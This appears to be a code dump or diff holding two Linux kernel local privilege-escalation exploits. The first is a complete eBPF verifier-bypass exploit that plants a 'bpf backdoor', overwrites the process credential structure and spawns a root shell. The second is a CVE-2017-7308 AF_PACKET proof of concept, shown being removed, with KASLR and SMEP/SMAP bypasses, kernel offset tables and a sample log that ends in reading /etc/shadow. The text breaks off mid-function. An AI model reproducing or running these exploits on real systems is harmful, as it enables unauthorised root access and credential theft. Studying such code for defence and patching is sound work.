||||
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_MOV32_REG(DST, SRC) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU | BPF_MOV | BPF_X, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_MOV64_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_MOV32_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_LD_IMM64(DST, IMM) \
|
||||
BPF_LD_IMM64_RAW(DST, 0, IMM)
|
||||
|
||||
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LD | BPF_DW | BPF_IMM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = (__u32) (IMM) }), \
|
||||
((struct bpf_insn) { \
|
||||
.code = 0, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = ((__u64) (IMM)) >> 32 })
|
||||
|
||||
#ifndef BPF_PSEUDO_MAP_FD
|
||||
# define BPF_PSEUDO_MAP_FD 1
|
||||
#endif
|
||||
|
||||
#define BPF_LD_MAP_FD(DST, MAP_FD) \
|
||||
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
|
||||
|
||||
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = CODE, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_EXIT_INSN() \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_EXIT, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_DISABLE_VERIFIER() \
|
||||
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
|
||||
BPF_EXIT_INSN() /* } */ \
|
||||
|
||||
#define BPF_MAP_GET(idx, dst) \
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
|
||||
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
|
||||
BPF_EXIT_INSN(), /* exit(0); */ \
|
||||
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
|
||||
|
||||
static int load_prog() {
|
||||
struct bpf_insn prog[] = {
|
||||
BPF_DISABLE_VERIFIER(),
|
||||
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
|
||||
|
||||
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
|
||||
|
||||
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
|
||||
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
|
||||
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
|
||||
|
||||
/* store map slot address in r2 */
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
|
||||
/* get fp */
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
|
||||
/* get skbuff */
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
|
||||
/* read */
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
/* else */
|
||||
/* write */
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
};
|
||||
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
|
||||
}
|
||||
|
||||
void info(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[.] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void msg(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[*] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void redact(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
if(doredact) {
|
||||
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
|
||||
return;
|
||||
}
|
||||
fprintf(stdout, "[*] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void fail(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[!] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
void
|
||||
initialize() {
|
||||
info("\n");
|
||||
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
|
||||
info("\n");
|
||||
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
|
||||
info("\n");
|
||||
|
||||
redact("creating bpf map\n");
|
||||
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
|
||||
if (mapfd < 0) {
|
||||
fail("failed to create bpf map: '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("sneaking evil bpf past the verifier\n");
|
||||
progfd = load_prog();
|
||||
if (progfd < 0) {
|
||||
if (errno == EACCES) {
|
||||
msg("log:\n%s", bpf_log_buf);
|
||||
}
|
||||
fail("failed to load prog '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("creating socketpair()\n");
|
||||
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
|
||||
fail("failed to create socket pair '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("attaching bpf backdoor to socket\n");
|
||||
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
|
||||
fail("setsockopt '%s'\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static void writemsg() {
|
||||
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
|
||||
if (n < 0) {
|
||||
perror("write");
|
||||
return;
|
||||
}
|
||||
if (n != sizeof(buffer)) {
|
||||
fprintf(stderr, "short write: %zd\n", n);
|
||||
}
|
||||
}
|
||||
|
||||
static void
|
||||
update_elem(int key, unsigned long value) {
|
||||
if (bpf_update_elem(mapfd, &key, &value, 0)) {
|
||||
fail("bpf_update_elem failed '%s'\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
get_value(int key) {
|
||||
unsigned long value;
|
||||
if (bpf_lookup_elem(mapfd, &key, &value)) {
|
||||
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
|
||||
update_elem(0, op);
|
||||
update_elem(1, addr);
|
||||
update_elem(2, value);
|
||||
writemsg();
|
||||
return get_value(2);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_skbuff() {
|
||||
return sendcmd(1, 0, 0);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_fp() {
|
||||
return sendcmd(0, 0, 0);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
read64(unsigned long addr) {
|
||||
return sendcmd(2, addr, 0);
|
||||
}
|
||||
|
||||
void
|
||||
write64(unsigned long addr, unsigned long val) {
|
||||
(void)sendcmd(3, addr, val);
|
||||
}
|
||||
|
||||
static unsigned long find_cred() {
|
||||
uid_t uid = getuid();
|
||||
unsigned long skbuff = get_skbuff();
|
||||
/*
|
||||
* struct sk_buff {
|
||||
* [...24 byte offset...]
|
||||
* struct sock *sk;
|
||||
* };
|
||||
*
|
||||
*/
|
||||
|
||||
unsigned long sock_addr = read64(skbuff + 24);
|
||||
msg("skbuff => %llx\n", skbuff);
|
||||
msg("Leaking sock struct from %llx\n", sock_addr);
|
||||
if(sock_addr < PHYS_OFFSET){
|
||||
fail("Failed to find Sock address from sk_buff.\n");
|
||||
}
|
||||
|
||||
/*
|
||||
* scan forward for expected sk_rcvtimeo value.
|
||||
*
|
||||
* struct sock {
|
||||
* [...]
|
||||
* const struct cred *sk_peer_cred;
|
||||
* long sk_rcvtimeo;
|
||||
* };
|
||||
*/
|
||||
for (int i = 0; i < 100; i++, sock_addr += 8) {
|
||||
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
|
||||
unsigned long cred_struct = read64(sock_addr - 8);
|
||||
if(cred_struct < PHYS_OFFSET) {
|
||||
continue;
|
||||
}
|
||||
|
||||
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
|
||||
|
||||
if(test_uid != uid) {
|
||||
continue;
|
||||
}
|
||||
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
|
||||
msg("Cred structure at %llx\n", cred_struct);
|
||||
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
|
||||
|
||||
return cred_struct;
|
||||
}
|
||||
}
|
||||
fail("failed to find sk_rcvtimeo.\n");
|
||||
}
|
||||
|
||||
static void
|
||||
hammer_cred(unsigned long addr) {
|
||||
msg("hammering cred structure at %llx\n", addr);
|
||||
#define w64(w) { write64(addr, (w)); addr += 8; }
|
||||
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
|
||||
w64(val);
|
||||
w64(0); w64(0); w64(0); w64(0);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
#undef w64
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv) {
|
||||
initialize();
|
||||
hammer_cred(find_cred());
|
||||
msg("credentials patched, launching shell...\n");
|
||||
if(execl("/bin/sh", "/bin/sh", NULL)) {
|
||||
fail("exec %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,792 +0,0 @@
|
||||
// A proof-of-concept local root exploit for CVE-2017-7308.
|
||||
// Includes a SMEP & SMAP bypass.
|
||||
// Tested on Ubuntu / Linux Mint:
|
||||
// - 4.8.0-34-generic
|
||||
// - 4.8.0-36-generic
|
||||
// - 4.8.0-39-generic
|
||||
// - 4.8.0-41-generic
|
||||
// - 4.8.0-42-generic
|
||||
// - 4.8.0-44-generic
|
||||
// - 4.8.0-45-generic
|
||||
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] system has 2 processors
|
||||
// [.] checking kernel version
|
||||
// [.] kernel version '4.8.0-41-generic' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking SMEP and SMAP
|
||||
// [~] done, looks good
|
||||
// [.] setting up namespace sandbox
|
||||
// [~] done, namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [.] done, kernel text: ffffffff87000000
|
||||
// [.] commit_creds: ffffffff870a5cf0
|
||||
// [.] prepare_kernel_cred: ffffffff870a60e0
|
||||
// [.] native_write_cr4: ffffffff87064210
|
||||
// [.] padding heap
|
||||
// [.] done, heap is padded
|
||||
// [.] SMEP & SMAP bypass enabled, turning them off
|
||||
// [.] done, SMEP & SMAP should be off now
|
||||
// [.] executing get root payload 0x401516
|
||||
// [.] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
// ---
|
||||
// Updated by <bcoles@gmail.com>
|
||||
// - support for systems with SMEP but no SMAP
|
||||
// - check number of CPU cores
|
||||
// - additional kernel targets
|
||||
// - additional KASLR bypasses
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-7308
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/sysinfo.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/udp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <net/if.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_SMAP_BYPASS 1
|
||||
|
||||
char *SHELL = "/bin/bash";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions().
|
||||
int kernel = -1;
|
||||
|
||||
struct kernel_info {
|
||||
const char* version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t native_write_cr4;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 },
|
||||
{ "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 },
|
||||
{ "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
};
|
||||
|
||||
// Used to get root privileges.
|
||||
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
||||
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
||||
#define NATIVE_WRITE_CR4 (KERNEL_BASE + kernels[kernel].native_write_cr4)
|
||||
|
||||
// Will be overwritten if ENABLE_SMEP_SMAP_BYPASS
|
||||
unsigned long CR4_DESIRED_VALUE = 0x406e0ul;
|
||||
|
||||
#define KMALLOC_PAD 512
|
||||
#define PAGEALLOC_PAD 1024
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef uint32_t u32;
|
||||
|
||||
// $ pahole -C hlist_node ./vmlinux
|
||||
struct hlist_node {
|
||||
struct hlist_node * next; /* 0 8 */
|
||||
struct hlist_node * * pprev; /* 8 8 */
|
||||
};
|
||||
|
||||
// $ pahole -C timer_list ./vmlinux
|
||||
struct timer_list {
|
||||
struct hlist_node entry; /* 0 16 */
|
||||
long unsigned int expires; /* 16 8 */
|
||||
void (*function)(long unsigned int); /* 24 8 */
|
||||
long unsigned int data; /* 32 8 */
|
||||
u32 flags; /* 40 4 */
|
||||
int start_pid; /* 44 4 */
|
||||
void * start_site; /* 48 8 */
|
||||
char start_comm[16]; /* 56 16 */
|
||||
};
|
||||
|
||||
// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
|
||||
#define TIMER_OFFSET 896
|
||||
|
||||
// pakcet_sock->xmit
|
||||
#define XMIT_OFFSET 1304
|
||||
|
||||
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void packet_socket_rx_ring_init(int s, unsigned int block_size,
|
||||
unsigned int frame_size, unsigned int block_nr,
|
||||
unsigned int sizeof_priv, unsigned int timeout) {
|
||||
int v = TPACKET_V3;
|
||||
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] setsockopt(PACKET_VERSION)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct tpacket_req3 req;
|
||||
memset(&req, 0, sizeof(req));
|
||||
req.tp_block_size = block_size;
|
||||
req.tp_frame_size = frame_size;
|
||||
req.tp_block_nr = block_nr;
|
||||
req.tp_frame_nr = (block_size * block_nr) / frame_size;
|
||||
req.tp_retire_blk_tov = timeout;
|
||||
req.tp_sizeof_priv = sizeof_priv;
|
||||
req.tp_feature_req_word = 0;
|
||||
|
||||
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] setsockopt(PACKET_RX_RING)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
|
||||
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
|
||||
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (s < 0) {
|
||||
dprintf("[-] socket(AF_PACKET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
|
||||
sizeof_priv, timeout);
|
||||
|
||||
struct sockaddr_ll sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sll_family = PF_PACKET;
|
||||
sa.sll_protocol = htons(ETH_P_ALL);
|
||||
sa.sll_ifindex = if_nametoindex("lo");
|
||||
sa.sll_hatype = 0;
|
||||
sa.sll_pkttype = 0;
|
||||
sa.sll_halen = 0;
|
||||
|
||||
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] bind(AF_PACKET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return s;
|
||||
}
|
||||
|
||||
void packet_socket_send(int s, char *buffer, int size) {
|
||||
struct sockaddr_ll sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sll_ifindex = if_nametoindex("lo");
|
||||
sa.sll_halen = ETH_ALEN;
|
||||
|
||||
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
|
||||
sizeof(sa)) < 0) {
|
||||
dprintf("[-] sendto(SOCK_RAW)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void loopback_send(char *buffer, int size) {
|
||||
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket(SOCK_RAW)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
packet_socket_send(s, buffer, size);
|
||||
}
|
||||
|
||||
int packet_sock_kmalloc() {
|
||||
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket(SOCK_DGRAM)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
void packet_sock_timer_schedule(int s, int timeout) {
|
||||
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
|
||||
}
|
||||
|
||||
void packet_sock_id_match_trigger(int s) {
|
||||
char buffer[16];
|
||||
packet_socket_send(s, &buffer[0], sizeof(buffer));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
|
||||
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
|
||||
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
|
||||
|
||||
#define V3_ALIGNMENT (8)
|
||||
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
|
||||
|
||||
#define ETH_HDR_LEN sizeof(struct ethhdr)
|
||||
#define IP_HDR_LEN sizeof(struct iphdr)
|
||||
#define UDP_HDR_LEN sizeof(struct udphdr)
|
||||
|
||||
#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
|
||||
|
||||
int oob_setup(int offset) {
|
||||
unsigned int maclen = ETH_HDR_LEN;
|
||||
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
|
||||
(maclen < 16 ? 16 : maclen));
|
||||
unsigned int macoff = netoff - maclen;
|
||||
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
|
||||
0x8000 - BLK_HDR_LEN - macoff + offset;
|
||||
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
|
||||
}
|
||||
|
||||
void oob_write(char *buffer, int size) {
|
||||
loopback_send(buffer, size);
|
||||
}
|
||||
|
||||
void oob_timer_execute(void *func, unsigned long arg) {
|
||||
oob_setup(2048 + TIMER_OFFSET - 8);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++) {
|
||||
int timer = packet_sock_kmalloc();
|
||||
packet_sock_timer_schedule(timer, 1000);
|
||||
}
|
||||
|
||||
char buffer[2048];
|
||||
memset(&buffer[0], 0, sizeof(buffer));
|
||||
|
||||
struct timer_list *timer = (struct timer_list *)&buffer[8];
|
||||
timer->function = func;
|
||||
timer->data = arg;
|
||||
timer->flags = 1;
|
||||
|
||||
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
|
||||
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
void oob_id_match_execute(void *func) {
|
||||
int s = oob_setup(2048 + XMIT_OFFSET - 64);
|
||||
|
||||
int ps[32];
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++)
|
||||
ps[i] = packet_sock_kmalloc();
|
||||
|
||||
char buffer[2048];
|
||||
memset(&buffer[0], 0, 2048);
|
||||
|
||||
void **xmit = (void **)&buffer[64];
|
||||
*xmit = func;
|
||||
|
||||
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
|
||||
|
||||
for (i = 0; i < 32; i++)
|
||||
packet_sock_id_match_trigger(ps[i]);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
|
||||
|
||||
void kmalloc_pad(int count) {
|
||||
int i;
|
||||
for (i = 0; i < count; i++)
|
||||
packet_sock_kmalloc();
|
||||
}
|
||||
|
||||
void pagealloc_pad(int count) {
|
||||
packet_socket_setup(0x8000, 2048, count, 0, 100);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root_payload(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
|
||||
);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
void get_kernel_version(char* output, int max_length) {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname())\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
assert(strlen(u.release) <= max_length);
|
||||
strcpy(&output[0], u.release);
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define KERNEL_VERSION_LENGTH 32
|
||||
|
||||
void detect_versions() {
|
||||
char version[KERNEL_VERSION_LENGTH];
|
||||
|
||||
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&version[0], kernels[i].version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int rv = 0;
